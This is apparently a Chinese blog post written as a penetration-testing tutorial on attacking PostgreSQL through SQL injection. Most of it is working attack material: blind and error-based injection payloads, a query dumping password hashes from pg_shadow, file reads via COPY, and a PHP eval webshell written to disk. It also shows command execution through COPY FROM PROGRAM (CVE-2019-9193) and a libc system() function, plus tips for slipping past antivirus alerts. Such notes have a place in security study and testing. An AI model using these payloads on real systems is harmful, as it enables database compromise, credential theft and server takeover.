最近上班想摸鱼,不知道学啥,因此有了这篇文章(^▽^)

一、PostgreSQL简介:

PostgreSQL数据库大家肯定又陌生又熟悉,偶尔会出现在各大渗透测试文章里SQL注入相关的部分,但是存在感又远远不如oracle、mssql和mysql。
简单对这几种数据库进行对比
Oracle:闭源,商用收费,功能性能都很强大,而且跨平台使用,但是操作运维麻烦
mssql:闭源,商用收费,性能较好,不能跨平台(linux版本没啥人用)运维比较简单
mysql:开源,免费,灵活,而且现在已经被oracle公司收购了,性能比较一般
PostgreSQL:开源,免费,灵活,性能较好。

那其实通过上面简单的介绍,可以看出这四种关系型数据库oracle和mssql是类似的;而mysql和PostgreSQL也是类似的,那么为什么mysql那么多人用而PostgreSQL没人用呢?实际上不是因为PostgreSQL不够优秀,而是因为mysql早期的推广太好了,在PHP风靡的时代,几乎全部都是搭配的MYSQL,因此就冷落了PostgreSQL,从而导致一直没有比较成熟的相关产品;并且因为没有背靠公司,所以用的人就比较少。

默认端口为5432
PostgreSQL和MYSQL的使用方法是非常像的
搭建的环境postgresql-10.20-1-windows-x64

小Tips:

1、postgresql默认情况下除本机外的机器是不能连接的,要想连接需要配置一下文件pg_hba.conf,因此就算拿到了账户密码也不一定登录的上
2、postgresql默认是支持堆叠的,因为支持堆叠,所以在有时候可以直接通过sql注入拿下网站

二、注入基础-简单命令

这一部分命令就去网上抄抄写写了

  1. SELECT user;
  2. SELECT current_user;
  3. SELECT session_user;
  4. SELECT usename FROM pg_user;
  5. SELECT getpgusername();

image.png

  1. SELECT CURRENT_SCHEMA(); //查看当前权限
  2. public
  3. SELECT version(); //查看版本
  4. PostgreSQL 10.20, compiled by Visual C++ build 1800, 64-bit
  5. SELECT current_database() //查看当前数据库
  6. PostgreSQLdb
  7. select * from information_schema.SCHEMATA; //pgsql也和mysql一样有information_schema这个库
  8. select usename, passwd from pg_shadow; //获取pgsql账户和密码
  9. "postgres" "md5ea413b4fad53ddb9cb293199bdc88034"
  10. 这个密码的hasha123456.postgres md5(passwd+username)
  11. select datname from pg_database; // 获取所有的库
  12. select array_to_string(array_agg(datname),',') from pg_database; // 获取所有的库

order by

postgresql支持和mysql语法一样的order by 注入

  1. select * from table_name from column_name = 'xxx' order by 3

报错盲注

1、cast
将一种格式转为另外一种格式

  1. select '1' and 1=cast(version() as int);

image.png
image.png

2、::运算符
也是将一种格式转为另外一种格式

  1. select version()::text::int
  2. select user::text::int

时间盲注

  1. //如果parameter是整数:
  2. select pg_sleep(5); -- -
  3. //如果参数是字符串:
  4. select '1' || pg_sleep(5); -- -
  5. //9.4及之后版本新增新的函数
  6. select pg_sleep_for('5 sec')
  7. //查看当前时间
  8. select now();
  9. //睡到那个时间,离多少秒就睡多少秒
  10. select pg_sleep_until('2022-3-18 17:08:59');

模拟注入情况,利用case when来进行时间注入

  1. select case when(ascii(substr((select datname from pg_database limit 1 offset 0),1,1))>97) then (select 1 from pg_sleep(5)) else 1 end
  2. userid=asdasd' and 1=case when(ascii(substr((select datname from pg_database limit 1 offset 0),1,1))>97) then (select 1 from pg_sleep(5)) else 1 end --

一些特性

在PostgreSQL中 || 是 连接符

  1. select '1'||2||3;
  2. 运行结果: 123
  3. select '1'||'a'||3;
  4. 运行结果: 1a3
  5. select 1||2||3;
  6. 运行结果: 爆错 error: operator does not exist: integer || integer

like 的奇怪特性

  1. select '1' like '1';
  2. 运行结果: 正常运行
  3. select '1' like 'a';
  4. 运行结果: 正常运行
  5. select 'a' like 1;
  6. 运行结果: error: operator does not exist: unknown ~~ integer
  7. select 1 like 1;
  8. 运行结果: error: operator does not exist: integer ~~ integer
  9. HINT: 没有匹配指定名称和参数类型的操作符. 您也许需要增加明确的类型转换.

使用 $$ 替代 单引号

  1. # 普通情况-单引号输出内容
  2. select '1' == select $1$
  3. SELECT $xxx$123$xxx$ == SELECT '123';

使用 替代 单引号写shell
命令: COPY (select
<?php @eval($_POST[1]);?>) to C:\2.php$$;

命令执行函数和RCE

读取文件

PostgreSQL这点和mssql有些相似,将一些系统的命令执行集成在某些函数里,方便调用

  1. //列目录
  2. select pg_ls_dir('./');
  3. //读取文件内容
  4. select pg_read_file('PG_VERSION');
  5. //如果数据太大了,可以读取一部分内容
  6. select pg_read_file('postgresql.auto.conf', 66, 12);
  7. //但是该函数也有局限性,有些文件内容默认无法读取,例如
  8. select pg_ls_dir('../');
  9. ERROR: 错误: 路径必须在当前目录或其子目录下
  10. select pg_read_file('../PG_VERSION');
  11. ERROR: 错误: 路径必须在当前目录或其子目录下
  12. postgres=# select pg_read_file('/etc/passwd');
  13. select pg_read_file('E:/111.txt');
  14. ERROR: 错误: 不允许使用绝对路径
  15. ERROR: absolute path not allowed
  16. postgres=# select pg_read_file('../../../../etc/passwd');
  17. ERROR: path must be in or below the current directory

可以看到,原生的postgresql存在很大的局限性,因此可以使用copy来读取文件

  1. create table docs (data TEXT); //创建一个表
  2. copy docs from 'C://111.txt'; //表里写入内容
  3. select * from docs limit 10; //读取文件内容

image.png

写shell

支持下面两种思路的写shell方式

  1. ;create table shell(shell text not null);
  2. ;insert into shell values(一句话木马);
  3. ;copy shell(shell) to '/www/shell.php';
  1. COPY (select $$<?php @eval($_POST[1]);?>$$) to $$E:\2.php$$;
  2. 如果遇到权限不对则报错
  3. ERROR: 错误: 为了写入, 无法打开文件 "C:\2.php": Permission denied
  4. HINT: COPY TO instructs the PostgreSQL server process to write a file. You may want a client-side facility such as psql's \copy.

CVE-2019-9193

在版本9.3开始,PostgreSQL新增了一个”COPY TO/FROM PROGRAM”的功能
允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令
(和xp_cmdshell有点像我感觉)
该漏洞直到11.2版本被修复

  1. DROP TABLE IF EXISTS cmd_exec; //--删除某个已存在的数据表
  2. CREATE TABLE cmd_exec(cmd_output text); //--创建一个数据包表
  3. COPY cmd_exec FROM PROGRAM 'whoami';
  4. SELECT * FROM cmd_exec;

nt authority/network service 权限
image.png

坑点1:

值得的一提的是在“COPY cmd_exec FROM PROGRAM ‘whoami’;”会触发杀软的告警,如执行certutil或者whoami(qq管家拦截了,360是不拦截whoami的)
image.png
如下图所示,只输入certutil 后面没有跟任何参数也会被拦截
image.png

坑点2:

对于命令执行,如果命令执行的结果如果存在中文,则会进行报错,解决该问题其实非常简单
只需要使用@echo off关闭回显+certutil即可
image.png

  1. COPY cmd_exec FROM PROGRAM 'ipconfig > 12233.txt;
  2. COPY cmd_exec FROM PROGRAM 'certutil -encode 12233.txt 12345.txt |@echo off';
  3. select pg_read_file('12345.txt')

image.png

工具命令执行也避免不了这个问题
image.png

Linux低版本命令执行

在postgresql版本小于8.2时可用

  1. CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE C STRICT;
  2. CREATE FUNCTION system(cstring) RcETURNS int AS '/lib64/libc.so.6', 'system' LANGUAGE C STRICT;
  3. select system('id');

其他方式:

https://www.anquanke.com/post/id/215954

参考文章:

本文部分内容来自phpoop参考学习
https://xz.aliyun.com/t/10202
https://xz.aliyun.com/t/8659
https://xz.aliyun.com/t/8621
https://xz.aliyun.com/t/4168